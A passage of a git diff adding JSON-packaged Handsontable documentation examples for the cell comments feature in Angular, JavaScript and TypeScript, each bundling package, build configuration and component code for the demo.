    `,\n})\nexport class AppComponent {\n\n readonly data = [\n ['', 'Tesla', 'Toyota', 'Honda', 'Ford'],\n ['2018', 10, 11, 12, 13, 15, 16],\n ['2019', 10, 11, 12, 13, 15, 16],\n ['2020', 10, 11, 12, 13, 15, 16],\n ];\n\n readonly gridSettings: GridSettings = {\n rowHeaders: true,\n colHeaders: true,\n contextMenu: true,\n comments: {\n // on mouseover, wait 2 seconds before the comment box displays\n displayDelay: 2000,\n },\n cell: [{ row: 1, col: 1, comment: { value: 'Some comment' } }],\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/cell-features/comments/angular/example4.ts","breadcrumb":["Cell Features","Comments"],"guide":"guides/cell-features/comments/comments.md","guideTitle":"Comments","exampleId":"example4","exampleTitle":"Set a delay for displaying comments","docPermalink":"/comments","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__comments__angular__example5.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__comments__angular__example5.ts.json new file mode 100644 index 00000000..0784870f --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__comments__angular__example5.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Cell Features ▸ Comments · Flag invalid cells with a comment · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/angular-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport Handsontable from 'handsontable/base';\nimport { GridSettings, HotTableModule } from '@handsontable/angular-wrapper';\n\n@Component({\n selector: 'example5-comments',\n standalone: true,\n imports: [HotTableModule],\n template: `
    \n \n
    `,\n})\nexport class AppComponent {\n\n readonly data = [\n ['Wireless mouse', 142],\n ['USB-C cable', 67],\n ['Mechanical keyboard', -5],\n ['Laptop stand', 38],\n ['HDMI adapter', 210],\n ];\n\n readonly gridSettings: GridSettings = {\n colHeaders: ['Product', 'Stock'],\n rowHeaders: true,\n comments: true,\n columns: [\n {},\n {\n type: 'numeric',\n validator(value: any, callback: (valid: boolean) => void) {\n callback(Number.isInteger(value) && value >= 0);\n },\n },\n ],\n // Attach a comment when a cell fails validation, and remove it once the cell is valid.\n afterValidate(this: Handsontable, isValid: boolean, value: any, row: number, prop: string | number) {\n const column = this.propToCol(prop);\n const comments = this.getPlugin('comments');\n\n if (!isValid) {\n comments.setCommentAtCell(row, column, `\"${value}\" is not valid. Enter a whole number of 0 or more.`);\n } else {\n comments.removeCommentAtCell(row, column);\n }\n },\n // Validate every cell on load so the pre-existing invalid value is flagged right away.\n afterInit(this: Handsontable) {\n this.validateCells();\n },\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/cell-features/comments/angular/example5.ts","breadcrumb":["Cell Features","Comments"],"guide":"guides/cell-features/comments/comments.md","guideTitle":"Comments","exampleId":"example5","exampleTitle":"Flag invalid cells with a comment","docPermalink":"/comments","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__comments__angular__example6.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__comments__angular__example6.ts.json new file mode 100644 index 00000000..627bc134 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__comments__angular__example6.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Cell Features ▸ Comments · Read all comments programmatically · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/angular-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component, ViewChild } from '@angular/core';\nimport { GridSettings, HotTableComponent, HotTableModule } from '@handsontable/angular-wrapper';\n\n@Component({\n selector: 'example6-comments',\n standalone: true,\n imports: [HotTableModule],\n template: `
    \n
    \n \n
    \n
    \n
    \n \n
    \n {{ output }}`,\n})\nexport class AppComponent {\n @ViewChild(HotTableComponent, { static: false }) readonly hotTable!: HotTableComponent;\n\n readonly data = [\n ['Update API docs', 'Ana García', 'In progress'],\n ['Deploy hotfix', 'James Okafor', 'Blocked'],\n ['Review pull requests', 'Li Wei', 'Done'],\n ['Plan Q3 roadmap', 'Maria Santos', 'In progress'],\n ['Refactor auth module', 'David Kim', 'In review'],\n ];\n\n readonly gridSettings: GridSettings = {\n colHeaders: ['Task', 'Assignee', 'Status'],\n rowHeaders: true,\n comments: true,\n cell: [\n { row: 1, col: 2, comment: { value: 'Waiting on infrastructure approval.' } },\n { row: 3, col: 1, comment: { value: 'Reassign if capacity is tight.' } },\n { row: 4, col: 0, comment: { value: 'Blocked on the security review.' } },\n ],\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true\n };\n\n output = '';\n\n listComments(): void {\n const hot = this.hotTable?.hotInstance;\n\n if (!hot) {\n return;\n }\n\n const found: string[] = [];\n\n // `getCellMetaAtRow()` takes a physical row index (equal to the visual index here, with no sorting or trimming).\n for (let row = 0; row < hot.countRows(); row += 1) {\n hot.getCellMetaAtRow(row).forEach((cellMeta, col) => {\n const comment = cellMeta['comment'] as { value?: string } | undefined;\n\n if (comment?.value !== undefined) {\n found.push(`Row ${row + 1}, \"${hot.getColHeader(col)}\": ${comment.value}`);\n }\n });\n }\n\n this.output = found.length > 0 ? found.join('\\n') : 'No comments found.';\n }\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/cell-features/comments/angular/example6.ts","breadcrumb":["Cell Features","Comments"],"guide":"guides/cell-features/comments/comments.md","guideTitle":"Comments","exampleId":"example6","exampleTitle":"Read all comments programmatically","docPermalink":"/comments","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__comments__javascript__example1.js.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__comments__javascript__example1.js.json new file mode 100644 index 00000000..9b84a8d4 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__comments__javascript__example1.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Cell Features ▸ Comments · Standard example · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example1');\n\nnew Handsontable(container, {\n data: [\n ['', 'Tesla', 'Nissan', 'Toyota', 'Honda', 'Mazda', 'Ford'],\n ['2017', 10, 11, 12, 13, 15, 16],\n ['2018', 10, 11, 12, 13, 15, 16],\n ['2019', 10, 11, 12, 13, 15, 16],\n ['2020', 10, 11, 12, 13, 15, 16],\n ['2021', 10, 11, 12, 13, 15, 16],\n ],\n rowHeaders: true,\n colHeaders: true,\n contextMenu: true,\n comments: true,\n cell: [\n { row: 1, col: 1, comment: { value: 'Some comment' } },\n { row: 2, col: 2, comment: { value: 'More comments' } },\n ],\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/cell-features/comments/javascript/example1.js","breadcrumb":["Cell Features","Comments"],"guide":"guides/cell-features/comments/comments.md","guideTitle":"Comments","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/comments","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__comments__javascript__example1.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__comments__javascript__example1.ts.json new file mode 100644 index 00000000..17b1b6bf --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__comments__javascript__example1.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Cell Features ▸ Comments · Standard example · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example1')!;\n\nnew Handsontable(container, {\n data: [\n ['', 'Tesla', 'Nissan', 'Toyota', 'Honda', 'Mazda', 'Ford'],\n ['2017', 10, 11, 12, 13, 15, 16],\n ['2018', 10, 11, 12, 13, 15, 16],\n ['2019', 10, 11, 12, 13, 15, 16],\n ['2020', 10, 11, 12, 13, 15, 16],\n ['2021', 10, 11, 12, 13, 15, 16],\n ],\n rowHeaders: true,\n colHeaders: true,\n contextMenu: true,\n comments: true,\n cell: [\n { row: 1, col: 1, comment: { value: 'Some comment' } },\n { row: 2, col: 2, comment: { value: 'More comments' } },\n ],\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/cell-features/comments/javascript/example1.ts","breadcrumb":["Cell Features","Comments"],"guide":"guides/cell-features/comments/comments.md","guideTitle":"Comments","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/comments","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__comments__javascript__example2.js.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__comments__javascript__example2.js.json new file mode 100644 index 00000000..53a79769 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__comments__javascript__example2.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Cell Features ▸ Comments · Make a comment read-only · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example2');\n\nnew Handsontable(container, {\n data: [\n ['', 'Tesla', 'Toyota', 'Honda', 'Ford'],\n ['2018', 10, 11, 12, 13, 15, 16],\n ['2019', 10, 11, 12, 13, 15, 16],\n ['2020', 10, 11, 12, 13, 15, 16],\n ],\n rowHeaders: true,\n colHeaders: true,\n contextMenu: true,\n comments: true,\n cell: [\n {\n row: 0,\n col: 1,\n comment: { value: 'A read-only comment.', readOnly: true },\n },\n { row: 0, col: 3, comment: { value: 'You can edit this comment' } },\n ],\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/cell-features/comments/javascript/example2.js","breadcrumb":["Cell Features","Comments"],"guide":"guides/cell-features/comments/comments.md","guideTitle":"Comments","exampleId":"example2","exampleTitle":"Make a comment read-only","docPermalink":"/comments","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__comments__javascript__example2.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__comments__javascript__example2.ts.json new file mode 100644 index 00000000..d46a522d --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__comments__javascript__example2.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Cell Features ▸ Comments · Make a comment read-only · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example2')!;\n\nnew Handsontable(container, {\n data: [\n ['', 'Tesla', 'Toyota', 'Honda', 'Ford'],\n ['2018', 10, 11, 12, 13, 15, 16],\n ['2019', 10, 11, 12, 13, 15, 16],\n ['2020', 10, 11, 12, 13, 15, 16],\n ],\n rowHeaders: true,\n colHeaders: true,\n contextMenu: true,\n comments: true,\n cell: [\n {\n row: 0,\n col: 1,\n comment: { value: 'A read-only comment.', readOnly: true },\n },\n { row: 0, col: 3, comment: { value: 'You can edit this comment' } },\n ],\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/cell-features/comments/javascript/example2.ts","breadcrumb":["Cell Features","Comments"],"guide":"guides/cell-features/comments/comments.md","guideTitle":"Comments","exampleId":"example2","exampleTitle":"Make a comment read-only","docPermalink":"/comments","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__comments__javascript__example3.js.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__comments__javascript__example3.js.json new file mode 100644 index 00000000..117bc759 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__comments__javascript__example3.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Cell Features ▸ Comments · Set a comment box's size · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example3');\n\nnew Handsontable(container, {\n data: [\n ['', 'Tesla', 'Nissan', 'Toyota', 'Honda', 'Mazda', 'Ford'],\n ['2017', 10, 11, 12, 13, 15, 16],\n ['2018', 10, 11, 12, 13, 15, 16],\n ['2019', 10, 11, 12, 13, 15, 16],\n ],\n rowHeaders: true,\n colHeaders: true,\n contextMenu: true,\n comments: true,\n cell: [\n { row: 1, col: 1, comment: { value: 'Some comment' } },\n // add the `style` parameter\n {\n row: 2,\n col: 2,\n comment: {\n value: 'Comment 200x50 px',\n style: { width: 200, height: 50 },\n },\n },\n ],\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/cell-features/comments/javascript/example3.js","breadcrumb":["Cell Features","Comments"],"guide":"guides/cell-features/comments/comments.md","guideTitle":"Comments","exampleId":"example3","exampleTitle":"Set a comment box's size","docPermalink":"/comments","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__comments__javascript__example3.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__comments__javascript__example3.ts.json new file mode 100644 index 00000000..080ee601 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__comments__javascript__example3.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Cell Features ▸ Comments · Set a comment box's size · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example3')!;\n\nnew Handsontable(container, {\n data: [\n ['', 'Tesla', 'Nissan', 'Toyota', 'Honda', 'Mazda', 'Ford'],\n ['2017', 10, 11, 12, 13, 15, 16],\n ['2018', 10, 11, 12, 13, 15, 16],\n ['2019', 10, 11, 12, 13, 15, 16],\n ],\n rowHeaders: true,\n colHeaders: true,\n contextMenu: true,\n comments: true,\n cell: [\n { row: 1, col: 1, comment: { value: 'Some comment' } },\n // add the `style` parameter\n {\n row: 2,\n col: 2,\n comment: {\n value: 'Comment 200x50 px',\n style: { width: 200, height: 50 },\n },\n },\n ],\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/cell-features/comments/javascript/example3.ts","breadcrumb":["Cell Features","Comments"],"guide":"guides/cell-features/comments/comments.md","guideTitle":"Comments","exampleId":"example3","exampleTitle":"Set a comment box's size","docPermalink":"/comments","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__comments__javascript__example4.js.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__comments__javascript__example4.js.json new file mode 100644 index 00000000..a9ffdc53 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__comments__javascript__example4.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Cell Features ▸ Comments · Set a delay for displaying comments · 